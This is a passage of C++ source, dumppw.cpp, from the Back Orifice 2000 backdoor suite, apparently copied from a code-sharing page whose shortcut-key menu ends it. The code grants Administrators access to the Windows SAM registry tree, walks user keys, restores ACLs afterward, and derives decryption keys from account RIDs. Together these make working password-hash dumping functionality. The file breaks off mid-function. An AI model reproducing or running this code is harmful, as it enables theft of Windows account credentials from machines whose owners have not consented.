📄 dumppw.cpp
字号:
/* Back Orifice 2000 - Remote Administration Suite
Copyright (C) 1999, Cult Of The Dead Cow
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
The author of this program may be contacted at dildog@l0pht.com. */
// DumpPW - Thanks to Jeremy Allison for pwdump, it was
// what this was based on.
#include <windows.h>
#include <stdarg.h>
#include <auth.h>
#include <iohandler.h>
#include <encryption.h>
#include <commandloop.h>
#include <functions.h>
DWORD hexstrtoul(char *str)
{
DWORD val;
int i;
char c1;
val=0;
for(i=0;i<8;i++) {
if(*str=='\0') break;
c1=*str++;
if(c1>='A' && c1<='F') c1=(c1-'A')+0xA;
else if(c1>='a' && c1<='f') c1=(c1-'a')+0xA;
else if(c1>='0' && c1<='9') c1=(c1-'0');
val<<=4;
val|=c1;
}
return val;
}
//
// Utility function to get allocate a SID from a name.
// Looks on local machine. SID is allocated with malloc
// and must be freed by the caller.
// Returns TRUE on success, FALSE on fail.
//
static BOOL get_sid(const char *name, SID **ppsid)
{
SID_NAME_USE sid_use;
char *domain;
DWORD sid_size = 0;
DWORD dom_size = 0;
*ppsid = 0;
if(pLookupAccountName(0, name, 0, &sid_size, 0, &dom_size, &sid_use) == 0) {
if(GetLastError() != ERROR_INSUFFICIENT_BUFFER) return FALSE;
}
*ppsid = (SID *)malloc(sid_size);
domain = (char *)malloc(dom_size);
if(*ppsid == 0 || domain == 0) {
if(*ppsid) free(*ppsid);
if(domain) free(domain);
*ppsid = 0;
return FALSE;
}
if(pLookupAccountName(0, name, *ppsid, &sid_size, domain, &dom_size, &sid_use)==0) {
free(*ppsid);
free(domain);
*ppsid = 0;
return FALSE;
}
free(domain);
return TRUE;
}
//
// Utility function to setup a security descriptor
// from a varargs list of char *name followed by a DWORD access
// mask. The access control list is allocated with malloc
// and must be freed by the caller.
// returns TRUE on success, FALSE on fail.
//
static BOOL __cdecl create_sd_from_list( SECURITY_DESCRIPTOR *sdout, int num, ...)
{
va_list ap;
SID **sids = 0;
char *name;
DWORD amask;
DWORD acl_size;
PACL pacl = 0;
int i;
if((sids=(SID **)malloc(sizeof(SID *)*num))==0) return FALSE;
acl_size = num * (sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + sizeof(DWORD));
// Collect all the SID's
va_start( ap, num);
for(i=0;i<num;i++) {
name = va_arg( ap, char *);
amask = va_arg(ap, DWORD);
if(get_sid( name, &sids[i]) == FALSE) goto cleanup;
acl_size += pGetLengthSid(sids[i]);
}
va_end(ap);
if((pacl = (PACL)malloc(acl_size)) == 0) goto cleanup;
if(pInitializeSecurityDescriptor( sdout, SECURITY_DESCRIPTOR_REVISION) == FALSE) goto cleanup;
if(pInitializeAcl( pacl, acl_size, ACL_REVISION) == FALSE) goto cleanup;
va_start(ap, num);
for( i = 0; i < num; i++) {
ACE_HEADER *ace_p;
name = va_arg( ap, char *);
amask = va_arg( ap, DWORD);
if(pAddAccessAllowedAce( pacl, ACL_REVISION, amask, sids[i]) == FALSE) goto cleanup;
// Make sure the ACE is inheritable
if(pGetAce( pacl, 0, (LPVOID *)&ace_p) == FALSE) goto cleanup;
ace_p->AceFlags |= ( CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE);
}
// Add the ACL into the sd
if(pSetSecurityDescriptorDacl( sdout, TRUE, pacl, FALSE) == FALSE) goto cleanup;
for( i = 0; i < num; i++) {
if(sids[i]) free(sids[i]);
}
free(sids);
return TRUE;
cleanup:
if(sids) {
for( i = 0; i < num; i++) {
if(sids[i]) free(sids[i]);
}
free(sids);
}
if(pacl) free(pacl);
return FALSE;
}
//
// Function to go over all the users in the SAM and set an ACL
// on them.
//
static int set_userkeys_security( HKEY start, const char *path, SECURITY_DESCRIPTOR *psd,
HKEY *return_key)
{
HKEY key;
DWORD err;
char usersid[128];
DWORD indx = 0;
// Open the path and enum all the user keys - setting the same security on them.
if((err=RegOpenKeyEx(start,path,0,KEY_ENUMERATE_SUB_KEYS,&key))!=ERROR_SUCCESS) return -1;
// Now enumerate the subkeys, setting the security on them all.
do {
DWORD size;
FILETIME ft;
size=sizeof(usersid);
err=RegEnumKeyEx(key,indx,usersid,&size,0,0,0,&ft);
if(err==ERROR_SUCCESS) {
HKEY subkey;
indx++;
if((err=RegOpenKeyEx(key,usersid,0,WRITE_DAC,&subkey))!=ERROR_SUCCESS) {
RegCloseKey(key);
return -1;
}
if((err=pRegSetKeySecurity(subkey,DACL_SECURITY_INFORMATION,psd))!=ERROR_SUCCESS) {
RegCloseKey(subkey);
RegCloseKey(key);
return -1;
}
RegCloseKey(subkey);
}
} while(err==ERROR_SUCCESS);
if(err!=ERROR_NO_MORE_ITEMS) {
RegCloseKey(key);
return -1;
}
if(return_key==0) RegCloseKey(key);
else *return_key=key;
return 0;
}
//
// Function to travel down the SAM security tree in the registry and restore
// the correct ACL on them. Returns 0 on success. -1 on fail.
//
static int restore_sam_tree_access( HKEY start )
{
char path[128];
char AdminGroupName[128];
char *p;
int i;
HKEY key;
DWORD err;
SECURITY_DESCRIPTOR sd;
DWORD admin_mask;
admin_mask = WRITE_DAC | READ_CONTROL;
lstrcpy(AdminGroupName, "Administrators");
if(!create_sd_from_list( &sd, 2, "SYSTEM", GENERIC_ALL,AdminGroupName, admin_mask)) return -1;
lstrcpy(path,"SECURITY\\SAM\\Domains\\Account\\Users");
// Remove the security on the user keys first.
if(set_userkeys_security( start, path, &sd, 0)!=0) return -1;
// now go up the path, restoring security
do {
if((err=RegOpenKeyEx(start,path,0,WRITE_DAC,&key)) != ERROR_SUCCESS) return -1;
if((err=pRegSetKeySecurity( key, DACL_SECURITY_INFORMATION,&sd)) != ERROR_SUCCESS) {
RegCloseKey(key);
return -1;
}
RegCloseKey(key);
p=path+(lstrlen(path)-1);
for(i=(lstrlen(path)-1);i>=0;i--) {
if(*p=='\\') { *p=0; break; }
}
} while(i!=-1);
return 0;
}
//
// Function to travel the security tree and add Administrators
// access as WRITE_DAC, READ_CONTROL and READ.
// Returns 0 on success. -1 on fail if no security was changed,
// -2 on fail if security was changed.
//
static int set_sam_tree_access( HKEY start, HKEY *return_key)
{
char path[128];
char *p;
char AdminGroupName[128];
HKEY key;
DWORD err;
BOOL security_changed = FALSE;
SECURITY_DESCRIPTOR sd;
DWORD admin_mask;
BOOL finished = FALSE;
admin_mask = WRITE_DAC | READ_CONTROL | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS;
lstrcpy(AdminGroupName, "Administrators");
if(!create_sd_from_list( &sd, 2, "SYSTEM", GENERIC_ALL, AdminGroupName, admin_mask)) return -1;
lstrcpy( path, "SECURITY\\SAM\\Domains\\Account\\Users");
p=path;
do {
while(*p!='\0') {
if(*p=='\\') break;
p++;
}
if(*p=='\0') finished=TRUE;
else *p='\0';
if((err=RegOpenKeyEx( start, path, 0, WRITE_DAC, &key))!=ERROR_SUCCESS) {
return(security_changed ? -2: -1);
}
if((err=pRegSetKeySecurity( key, DACL_SECURITY_INFORMATION, &sd)) != ERROR_SUCCESS) {
RegCloseKey(key);
return(security_changed ? -2: -1);
}
security_changed = TRUE;
RegCloseKey(key);
if(!finished) {*p='\\'; p++;}
} while( !finished );
if(set_userkeys_security( start, path, &sd, &key) != 0) return -2;
if(return_key==0) RegCloseKey(key);
else *return_key = key;
return 0;
}
//
// Function to get a little-endian int from an offset into
// a byte array.
//
static int get_int( BYTE *array )
{
return((array[0]&0xff) + ((array[1]<<8)&0xff00) +
((array[2]<<16)&0xff0000) + ((array[3]<<24)&0xff000000));
}
//
// Function to convert the RID to the first decrypt key.
//
static void set_sid_key1(CEncryptionEngine *pCrypt, unsigned long sid)
{
unsigned char s[7];
s[0] = (unsigned char)(sid & 0xFF);
s[1] = (unsigned char)((sid>>8) & 0xFF);
s[2] = (unsigned char)((sid>>16) & 0xFF);
s[3] = (unsigned char)((sid>>24) & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];
pCrypt->SetDecryptKey((char *)s);
}
//
// Function to convert the RID to the second decrypt key.
//
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -